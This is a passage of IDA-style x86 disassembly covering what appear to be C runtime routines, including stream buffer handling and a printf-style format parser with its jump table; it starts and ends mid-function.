jge short loc_41FB1E
loc_41FB1A: ; CODE XREF: sub_41F9CD+25j
xor eax, eax
jmp short loc_41FB38
; ---------------------------------------------------------------------------
loc_41FB1E: ; CODE XREF: sub_41F9CD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DE7B0
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FB38: ; CODE XREF: sub_41F9CD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9CD endp
; =============== S U B R O U T I N E =======================================
sub_41FB3D proc near ; CODE XREF: sub_41BB12p
mov edx, dword_4DF900
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FBAE
mov ebx, dword_4DE8E8
mov edi, ebx
loc_41FB59: ; CODE XREF: sub_41FB3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FB74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FB6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FB59
jmp short loc_41FBAE
; ---------------------------------------------------------------------------
loc_41FB6F: ; CODE XREF: sub_41FB3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FB98
; ---------------------------------------------------------------------------
loc_41FB74: ; CODE XREF: sub_41FB3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BB45
pop ecx
mov ecx, dword_4DE8E8
mov [edi+ecx], eax
mov eax, dword_4DE8E8
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FBAE
mov esi, edi
loc_41FB98: ; CODE XREF: sub_41FB3D+35j
cmp esi, ebp
jz short loc_41FBAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FBAE: ; CODE XREF: sub_41FB3D+12j
; sub_41FB3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FB3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBB5 proc near ; CODE XREF: sub_41BD5E+17p
; sub_41BD5E+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FBD3
mov ecx, off_43F618
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FC25
; ---------------------------------------------------------------------------
loc_41FBD3: ; CODE XREF: sub_41FBB5+10j
mov ecx, eax
push esi
mov esi, off_43F618
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FBF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FC01
; ---------------------------------------------------------------------------
loc_41FBF8: ; CODE XREF: sub_41FBB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FC01: ; CODE XREF: sub_41FBB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4243B4
add esp, 1Ch
test eax, eax
jnz short loc_41FC21
leave
retn
; ---------------------------------------------------------------------------
loc_41FC21: ; CODE XREF: sub_41FBB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FC25: ; CODE XREF: sub_41FBB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FBB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FC2A proc near ; CODE XREF: sub_41BEF6+46p
; sub_41BFF0+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FD33
test al, 40h
jnz loc_41FD33
test al, 1
jz short loc_41FC62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FD33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FC62: ; CODE XREF: sub_41FC2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FC9C
cmp esi, offset dword_43FD28
jz short loc_41FC8A
cmp esi, offset dword_43FD48
jnz short loc_41FC95
loc_41FC8A: ; CODE XREF: sub_41FC2A+56j
push ebx
call sub_4244FD
test eax, eax
pop ecx
jnz short loc_41FC9C
loc_41FC95: ; CODE XREF: sub_41FC2A+5Ej
push esi
call sub_4240B7
pop ecx
loc_41FC9C: ; CODE XREF: sub_41FC2A+4Ej
; sub_41FC2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FD09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FCCC
push edi
push eax
push ebx
call sub_422FBD
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FCFF
; ---------------------------------------------------------------------------
loc_41FCCC: ; CODE XREF: sub_41FC2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FCE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DF920[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FCEC
; ---------------------------------------------------------------------------
loc_41FCE7: ; CODE XREF: sub_41FC2A+A5j
mov eax, offset dword_43FC70
loc_41FCEC: ; CODE XREF: sub_41FC2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FCFF
push 2
push 0
push ebx
call sub_422DCB
add esp, 0Ch
loc_41FCFF: ; CODE XREF: sub_41FC2A+A0j
; sub_41FC2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FD1D
; ---------------------------------------------------------------------------
loc_41FD09: ; CODE XREF: sub_41FC2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_422FBD
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FD1D: ; CODE XREF: sub_41FC2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FD29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD29: ; CODE XREF: sub_41FC2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FD3B
; ---------------------------------------------------------------------------
loc_41FD33: ; CODE XREF: sub_41FC2A+10j
; sub_41FC2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FD38: ; CODE XREF: sub_41FC2A+FDj
or eax, 0FFFFFFFFh
loc_41FD3B: ; CODE XREF: sub_41FC2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FC2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD3F proc near ; CODE XREF: sub_41BEF6+29p
; sub_41BFF0+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420458
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FD73
; ---------------------------------------------------------------------------
loc_41FD6B: ; CODE XREF: sub_41FD3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FD73: ; CODE XREF: sub_41FD3F+2Aj
cmp [ebp+var_14], edx
jl loc_420458
cmp bl, 20h
jl short loc_41FD94
cmp bl, 78h
jg short loc_41FD94
movsx eax, bl
mov al, [eax+428724h]
and eax, 0Fh
jmp short loc_41FD96
; ---------------------------------------------------------------------------
loc_41FD94: ; CODE XREF: sub_41FD3F+40j
; sub_41FD3F+45j
xor eax, eax
loc_41FD96: ; CODE XREF: sub_41FD3F+53j
movsx eax, byte_428744[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420447 ; default
jmp off_420460[eax*4] ; switch jump
loc_41FDB4: ; DATA XREF: .XPack0:off_420460o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FDAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FDCF: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
movsx eax, bl ; jumptable 0041FDAD case 2
sub eax, 20h
jz short loc_41FE12
sub eax, 3
jz short loc_41FE09
sub eax, 8
jz short loc_41FE00
dec eax
dec eax
jz short loc_41FDF7
sub eax, 3
jnz loc_420447 ; default
or [ebp+var_4], 8
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FDF7: ; CODE XREF: sub_41FD3F+A4j
or [ebp+var_4], 4
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE00: ; CODE XREF: sub_41FD3F+A0j
or [ebp+var_4], 1
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE09: ; CODE XREF: sub_41FD3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE12: ; CODE XREF: sub_41FD3F+96j
or [ebp+var_4], 2
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE1B: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
cmp bl, 2Ah ; jumptable 0041FDAD case 3
jnz short loc_41FE43
lea eax, [ebp+arg_8]
push eax
call sub_42051E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420447 ; default
or [ebp+var_4], 4
neg eax
loc_41FE3B: ; CODE XREF: sub_41FD3F+111j
mov [ebp+var_20], eax
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE43: ; CODE XREF: sub_41FD3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41FE3B
; ---------------------------------------------------------------------------
loc_41FE52: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
mov [ebp+var_10], edx ; jumptable 0041FDAD case 4
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE5A: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
cmp bl, 2Ah ; jumptable 0041FDAD case 5
jnz short loc_41FE7D
lea eax, [ebp+arg_8]
push eax
call sub_42051E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420447 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE7D: ; CODE XREF: sub_41FD3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FE8F: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
cmp bl, 49h ; jumptable 0041FDAD case 6
jz short loc_41FEC2
cmp bl, 68h
jz short loc_41FEB9
cmp bl, 6Ch
jz short loc_41FEB0
cmp bl, 77h
jnz loc_420447 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FEB0: ; CODE XREF: sub_41FD3F+15Dj
or [ebp+var_4], 10h
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FEB9: ; CODE XREF: sub_41FD3F+158j
or [ebp+var_4], 20h
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FEC2: ; CODE XREF: sub_41FD3F+153j
cmp byte ptr [edi], 36h
jnz short loc_41FEDB
cmp byte ptr [edi+1], 34h
jnz short loc_41FEDB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FEDB: ; CODE XREF: sub_41FD3F+186j
; sub_41FD3F+18Cj
mov [ebp+var_30], edx
loc_41FEDE: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
mov ecx, off_43F618 ; jumptable 0041FDAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41FF0A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420480
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41FF0A: ; CODE XREF: sub_41FD3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420480
add esp, 0Ch
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_41FF22: ; CODE XREF: sub_41FD3F+6Ej
; DATA XREF: .XPack0:off_420460o
movsx eax, bl ; jumptable 0041FDAD case 7
cmp eax, 67h
jg loc_42014A
cmp eax, 65h
jge loc_41FFCD
cmp eax, 58h
jg loc_42002B
jz loc_4201BE
sub eax, 43h
jz loc_41FFEE
dec eax
dec eax
jz short loc_41FFC3
dec eax
dec eax
jz short loc_41FFC3
sub eax, 0Ch
jnz loc_420349
test word ptr [ebp+var_4], 830h
jnz short loc_41FF6C
or byte ptr [ebp+var_4+1], 8
loc_41FF6C: ; CODE XREF: sub_41FD3F+227j
; sub_41FD3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41FF79
mov esi, 7FFFFFFFh
loc_41FF79: ; CODE XREF: sub_41FD3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42051E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420192
test ecx, ecx
jnz short loc_41FFA1
mov ecx, off_43F834
mov [ebp+var_8], ecx
loc_41FFA1: ; CODE XREF: sub_41FD3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41FFAA: ; CODE XREF: sub_41FD3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420189
cmp word ptr [eax], 0
jz loc_420189
inc eax
inc eax
jmp short loc_41FFAA
; ---------------------------------------------------------------------------
loc_41FFC3: ; CODE XREF: sub_41FD3F+212j
; sub_41FD3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41FFCD: ; CODE XREF: sub_41FD3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4200B1
mov [ebp+var_10], 6
jmp loc_4200BF
; ---------------------------------------------------------------------------
loc_41FFEE: ; CODE XREF: sub_41FD3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41FFFA
or byte ptr [ebp+var_4+1], 8
loc_41FFFA: ; CODE XREF: sub_41FD3F+2B5j
; sub_41FD3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420041
call sub_42053B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424523
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420054
mov [ebp+var_28], 1
jmp short loc_420054
; ---------------------------------------------------------------------------
loc_42002B: ; CODE XREF: sub_41FD3F+1FBj
sub eax, 5Ah
jz short loc_420062
sub eax, 9
jz short loc_41FFFA
dec eax
jz loc_420224
jmp loc_420349
; ---------------------------------------------------------------------------
loc_420041: ; CODE XREF: sub_41FD3F+2C5j
call sub_42051E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420054: ; CODE XREF: sub_41FD3F+2E1j
; sub_41FD3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420349
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_41FD3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42051E
test eax, eax
pop ecx
jz short loc_4200A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4200A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420094
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420349
; ---------------------------------------------------------------------------
loc_420094: ; CODE XREF: sub_41FD3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420346
; ---------------------------------------------------------------------------
loc_4200A3: ; CODE XREF: sub_41FD3F+32Fj
; sub_41FD3F+336j
mov eax, off_43F830
mov [ebp+var_8], eax
push eax
jmp loc_42013F
; ---------------------------------------------------------------------------
loc_4200B1: ; CODE XREF: sub_41FD3F+29Dj
jnz short loc_4200BF
cmp bl, 67h
jnz short loc_4200BF
mov [ebp+var_10], 1
loc_4200BF: ; CODE XREF: sub_41FD3F+2AAj
; sub_41FD3F:loc_4200B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43FBC0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420111
cmp [ebp+var_10], 0
jnz short loc_420111
lea eax, [ebp+var_248]
push eax
call off_43FBCC
pop ecx
loc_420111: ; CODE XREF: sub_41FD3F+3BCj
; sub_41FD3F+3C2j
cmp bl, 67h
jnz short loc_420128
test esi, esi
jnz short loc_420128
lea eax, [ebp+var_248]
push eax
call off_43FBC4
pop ecx
loc_420128: ; CODE XREF: sub_41FD3F+3D5j
; sub_41FD3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42013E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42013E: ; CODE XREF: sub_41FD3F+3F0j
push edi
loc_42013F: ; CODE XREF: sub_41FD3F+36Dj
call sub_41B650
pop ecx
jmp loc_420346
; ---------------------------------------------------------------------------
loc_42014A: ; CODE XREF: sub_41FD3F+1E9j
sub eax, 69h
jz loc_420224
sub eax, 5
jz loc_4201FA
dec eax
jz loc_4201E7
dec eax
jz short loc_4201B7
sub eax, 3
jz loc_41FF6C
dec eax
dec eax
jz loc_420228
sub eax, 3
jnz loc_420349
mov [ebp+var_2C], 27h
jmp short loc_4201C5
; ---------------------------------------------------------------------------
loc_420189: ; CODE XREF: sub_41FD3F+270j
; sub_41FD3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420346
; ---------------------------------------------------------------------------
loc_420192: ; CODE XREF: sub_41FD3F+24Fj
test ecx, ecx
jnz short loc_42019F
mov ecx, off_43F830
mov [ebp+var_8], ecx
loc_42019F: ; CODE XREF: sub_41FD3F+455j
mov eax, ecx
loc_4201A1: ; CODE XREF: sub_41FD3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4201B0
cmp byte ptr [eax], 0
jz short loc_4201B0
inc eax
jmp short loc_4201A1
; ---------------------------------------------------------------------------
loc_4201B0: ; CODE XREF: sub_41FD3F+467j
; sub_41FD3F+46Cj
sub eax, ecx
jmp loc_420346
; ---------------------------------------------------------------------------
loc_4201B7: ; CODE XREF: sub_41FD3F+425j
mov [ebp+var_10], 8
loc_4201BE: ; CODE XREF: sub_41FD3F+201j
mov [ebp+var_2C], 7
loc_4201C5: ; CODE XREF: sub_41FD3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42022F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42022F
; ---------------------------------------------------------------------------
loc_4201E7: ; CODE XREF: sub_41FD3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42022F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42022F
; ---------------------------------------------------------------------------
loc_4201FA: ; CODE XREF: sub_41FD3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42051E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420213
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_420213: ; CODE XREF: sub_41FD3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420218: ; CODE XREF: sub_41FD3F+4D2j
mov [ebp+var_28], 1
jmp loc_420447 ; default
; ---------------------------------------------------------------------------
loc_420224: ; CODE XREF: sub_41FD3F+2F7j
; sub_41FD3F+40Ej
or [ebp+var_4], 40h
loc_420228: ; CODE XREF: sub_41FD3F+432j
mov [ebp+var_C], 0Ah
loc_42022F: ; CODE XREF: sub_41FD3F+491j
; sub_41FD3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420241
lea eax, [ebp+arg_8]
push eax
call sub_42052B
pop ecx
jmp short loc_420282
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FD3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420268
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42025D
call sub_42051E
pop ecx
movsx eax, ax
loc_42025A: ; CODE XREF: sub_41FD3F+527j
; sub_41FD3F+539j
cdq
jmp short loc_420282
; ---------------------------------------------------------------------------
loc_42025D: ; CODE XREF: sub_41FD3F+510j
call sub_42051E
pop ecx
movzx eax, ax
jmp short loc_42025A
; ---------------------------------------------------------------------------
loc_420268: ; CODE XREF: sub_41FD3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42027A
call sub_42051E
pop ecx
jmp short loc_42025A
; ---------------------------------------------------------------------------
loc_42027A: ; CODE XREF: sub_41FD3F+531j
call sub_42051E
pop ecx
xor edx, edx
loc_420282: ; CODE XREF: sub_41FD3F+500j
; sub_41FD3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4202A3
test edx, edx
jg short loc_4202A3
jl short loc_420292
test eax, eax
jnb short loc_4202A3
loc_420292: ; CODE XREF: sub_41FD3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4202A7
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FD3F+547j
; sub_41FD3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4202A7: ; CODE XREF: sub_41FD3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4202B0
and edi, 0
loc_4202B0: ; CODE XREF: sub_41FD3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4202BF
mov [ebp+var_10], 1
jmp short loc_4202C3
; ---------------------------------------------------------------------------
loc_4202BF: ; CODE XREF: sub_41FD3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4202C3: ; CODE XREF: sub_41FD3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4202CD
and [ebp+var_1C], 0
loc_4202CD: ; CODE XREF: sub_41FD3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4202D3: ; CODE XREF: sub_41FD3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4202E3
mov eax, esi
or eax, edi
jz short loc_42031E
loc_4202E3: ; CODE XREF: sub_41FD3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DB20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DAB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420314
add ebx, [ebp+var_2C]
loc_420314: ; CODE XREF: sub_41FD3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4202D3
; ---------------------------------------------------------------------------
loc_42031E: ; CODE XREF: sub_41FD3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420349
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42033C
test eax, eax
jnz short loc_420349
loc_42033C: ; CODE XREF: sub_41FD3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420346: ; CODE XREF: sub_41FD3F+35Fj
; sub_41FD3F+406j ...
mov [ebp+var_C], eax
loc_420349: ; CODE XREF: sub_41FD3F+21Bj
; sub_41FD3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420447 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420381
test bh, 1
jz short loc_420366
mov [ebp+var_16], 2Dh
jmp short loc_42037A
; ---------------------------------------------------------------------------
loc_420366: ; CODE XREF: sub_41FD3F+61Fj
test bl, 1
jz short loc_420371
mov [ebp+var_16], 2Bh
jmp short loc_42037A
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_41FD3F+62Aj
test bl, 2
jz short loc_420381
mov [ebp+var_16], 20h
loc_42037A: ; CODE XREF: sub_41FD3F+625j
; sub_41FD3F+630j
mov [ebp+var_1C], 1
loc_420381: ; CODE XREF: sub_41FD3F+61Aj
; sub_41FD3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4203A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4204B5
add esp, 10h
loc_4203A1: ; CODE XREF: sub_41FD3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4204E6
add esp, 10h
test bl, 8
jz short loc_4203D3
test bl, 4
jnz short loc_4203D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4204B5
add esp, 10h
loc_4203D3: ; CODE XREF: sub_41FD3F+67Bj
; sub_41FD3F+680j
cmp [ebp+var_24], 0
jz short loc_42041A
cmp [ebp+var_C], 0
jle short loc_42041A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4203E8: ; CODE XREF: sub_41FD3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424523
pop ecx
test eax, eax
pop ecx
jle short loc_42042F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4204E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4203E8
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_42041A: ; CODE XREF: sub_41FD3F+698j
; sub_41FD3F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4204E6
add esp, 10h
loc_42042F: ; CODE XREF: sub_41FD3F+6BCj
; sub_41FD3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420447 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4204B5
add esp, 10h
loc_420447: ; CODE XREF: sub_41FD3F+68j
; sub_41FD3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FD6B
loc_420458: ; CODE XREF: sub_41FD3F+1Fj
; sub_41FD3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FD3F endp
; ---------------------------------------------------------------------------
off_420460 dd offset loc_41FEDE ; DATA XREF: sub_41FD3F+6Er
dd offset loc_41FDB4 ; jump table for switch statement
dd offset loc_41FDCF
dd offset loc_41FE1B
dd offset loc_41FE52
dd offset loc_41FE5A
dd offset loc_41FE8F
dd offset loc_41FF22
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420480 proc near ; CODE XREF: sub_41FD3F+1BDp
; sub_41FD3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420499
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4204A4
; ---------------------------------------------------------------------------
